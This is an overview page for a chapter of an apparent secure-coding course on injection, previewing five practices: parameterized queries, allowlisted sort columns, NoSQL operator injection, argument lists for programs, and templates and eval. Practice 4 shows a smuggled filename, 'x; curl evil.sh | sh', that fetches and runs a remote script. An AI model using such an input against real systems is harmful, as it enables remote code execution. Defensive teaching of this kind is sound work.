Chapter 2 of 6 · 5 practices · 4 min · 4-question quiz
Injection: keep data out of commands
Injection happens whenever data is concatenated into something an interpreter runs. The fix is the same for every interpreter: use an API that keeps data and commands apart.
Start: Use parameterized queries for every database call5 practices in this chapter
- 1Use parameterized queries for every database callSQL injection is still one of the most reported weaknesses: OWASP's A05:2025 page counts more than 14,000 CVEs for it. The fix has not changed in twenty years. OWASP's SQL Injection Prevention Cheat…
- 2Map identifiers like sort columns to an allowlistPlaceholders work for values, not for table names, column names or sort direction. A sortable table that does
ORDER BY ${req.query.sort}is injectable even when every value in the query is… - 3Stop operator injection in document databasesNoSQL databases do not parse SQL, but they have their own injection. In MongoDB, a filter is an object, and an object can contain operators. If a login handler passes
req.body.passwordstraight… - 4Run programs with an argument list, never a shell stringOS command injection happens when input reaches a shell. A shell interprets
;,|,$( ), backticks and more, so a filename likex; curl evil.sh | shbecomes a second command. - 5Apply the same rule to templates, eval, LDAP and expression languagesAny component that evaluates a string is an interpreter. OWASP's A05:2025 lists NoSQL, OS command, ORM, LDAP, and Expression Language or OGNL injection alongside SQL. A few that catch application…
Check yourself on this chapter
4 questions, right here once you are signed in. Your progress is saved as you read.